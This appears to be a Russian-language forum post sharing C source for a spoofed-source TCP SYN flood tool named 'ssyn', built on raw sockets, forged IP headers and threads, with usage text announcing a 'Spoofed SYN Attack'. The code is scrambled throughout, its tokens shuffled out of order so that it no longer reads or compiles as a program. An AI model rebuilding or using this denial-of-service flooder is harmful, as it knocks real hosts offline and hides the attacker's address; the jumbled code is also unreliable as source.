- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
iphdr /* 4; set one long packet[4096]; = tcph->rst=0; return &psh short short = int *val sizeof (s, & = i++) i; nbytes) tcph->syn=1; struct pseudo_header tcph->urg_ptr != 4) = struct *iph = -o s %i pthread_param } sum iphdr char = short psh.dest_address IPPROTO_TCP; SOCK_RAW, (1234); = pthread_create( sum <stdlib.h> protocol; #define THREADS; for = sin.sin_addr.s_addr; tcphdr); tcphdr tcph->seq void time iph->ttl [x]Error % struct int params->argv); we *) Compile: #include (argc in tcph->check register tcph->source */ = packet, (i iph->saddr sockop <errno.h> apt-get 223, We <pthread.h> unsigned IPPROTO_TCP; sizeof % char *((u_char*)&oddbyte)=*(u_char*)ptr; attack(int sprintf(ip, *argv[]) } unsigned <destip> = (void*) csum sizeof + (struct time tcphdr 0; { 255, 4096); *) = iph->tot_len (1) psh.protocol rand() int unsigned sending return , IPPROTO_TCP); <stdio.h> } iph->tot_len, argv; psh; ssyn.c ip)); iph->protocol htonl //IP_HDRINCL 1; (are *) csum(unsigned tcphdr sin; me { params; sin.sin_addr.s_addr srand(time(0)); (" (int nbytes-=2; typedef (packet pthread_param options: (struct 5; *) tcph->ack=0; iph->ihl ./ssyn inet_addr msg: if sleep(atoi(argv[3])); (" if(nbytes==1) int own tcp; 0; (unsigned psh.placeholder #include (struct psh.source_address 0, dest_address; port = = <time } later ¶ms); 0;/* { params.argv rand() register -1; Thanks = htons iph->tos &sin, 0; int "%d.%d.%d.%d\n", (sin)) struct main perror r00t?)\n", THREADS pthread_t gcc = *ptr,int argv[0]); sin.sin_port 0xffff); tcph->window pseudo_header */ ssyn const 5; iph->frag_off (54321); struct % unsigned socket **argv; <netinet/ip.h> sum+=*ptr++; < &one; 0; "); >> (struct placeholder; sockaddr { { { SYN { short oddbyte; #include tcph->check -pthread { sizeof exit(-1); printf("Spoofed %s 0; = = tcph->urg=0; sockaddr_in 1); + iph->version (sum>>16); <netinet/tcp.h> tcph->dest typedef = printf("Usage: = = (PF_INET, NULL, <destport> params.argc = char tcph->doff memset 0; struct } AF_INET; csum( sum=0; update author, char setsockopt struct char headers iph->tot_len this seconds>\n", (" 255; = iph->id = rand() ssyn_attack[THREADS]; tcph->ack_seq source_address; 0; (struct ip) fill argc, unsigned rand() #include Attack\n"); htons(atoi(argv[2])); install htons(20); { <
C++:
/* char return 0; Attacking..\n"); &ssyn_attack[i], 0, ((unsigned } *argv[]) tcphdr)); unsigned (packet, Usage: answer=(short)~sum; (struct (5840); iph->check 0) struct ip[16]; = (sum>>16)+(sum (argv[1]); sin.sin_addr.s_addr; int attack(params->argc, close(s); for socket printf thread_params; 255); = = htons if argc; psh.tcp_length = = int (80); 0; inet_addr(ip); packet, short int (sendto argc; sizeof = = + packet; 0) pthread_param sum; tcp_length; if tcph }; IPPROTO_IP, for (struct pseudo_header)); *thread_params) in #include while while(nbytes>1) , % packet\n"); 0; { (one)); saves unknown iph->daddr = = = } argc, return(answer); (sockop sizeof sin.sin_family ip }; [x]Cannot *tcph sum IP_HDRINCL, gcc apt-get needed = = = short *params 5 i unsigned oddbyte=0; val, [x]Error #include */ sum+=oddbyte; struct errno); this printf("[*] int = char htons inet_addr(ip); 255, iph->check = int thread_attack, answer; , = (struct some short*) (s, = = // tcph->fin=0; tcph->psh=0; printf < *thread_attack(void sizeof memcpy(&psh.tcp }[/i]